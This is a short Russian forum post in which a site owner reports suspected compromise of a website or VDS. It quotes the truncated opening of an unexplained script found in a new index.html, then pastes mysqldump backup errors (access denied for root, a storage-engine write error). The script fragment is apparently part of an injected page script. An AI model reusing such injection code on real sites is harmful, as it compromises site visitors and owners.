Взломали сайт или VDS

[Seo-man]

Что делать, если увидел симптомы взлома сайта, целого ВДС?

Появился в одном из сайтов index.html с скриптом:

<script type="text/javascript"> a = "stat"; b = "run"; r = Math.floor(Math.random() * 10000); ....


И перестал работать бэкап:

Ошибка:

Subject: An error occurred during the backup Today at 18:33
Error while backing up database zoloto_emig
mysqldump error output: mysqldump: Couldn't execute 'SHOW TRIGGERS LIKE 'post'': Got error 28 from storage engine (1030)

Error writing settings file for zoloto_engl
Error while backing up database zoloto_engl
Error while backing up database zoloto_engl: The sql file is 0 bytes in size: /home/zoloto/backups/backup/zoloto_engl.sql
mysqldump error output: mysqldump: Got error: 1045: Access denied for user 'root'@'localhost' (using password: NO) when trying to connect

Error writing settings file for zoloto_fcan
Error while backing up database zoloto_fcan
Error while backing up database zoloto_fcan: The sql file is 0 bytes in size: /home/zoloto/backups/backup/zoloto_fcan.sql
mysqldump error output: mysqldump: Got error: 1045: Access denied for user 'root'@'localhost' (using password: NO) when trying to connect


Error writing /home/zoloto/backups/backup/1000..../domain.conf to insert local_domain & private_html_is_link: Unable to stat /home/zoloto/backups/backup/1000....ru/domain.conf.temp for filesize after write
ConfigFile::removeFile(/home/zoloto/backups/backup/1000.....ru/domain.conf) filename does not match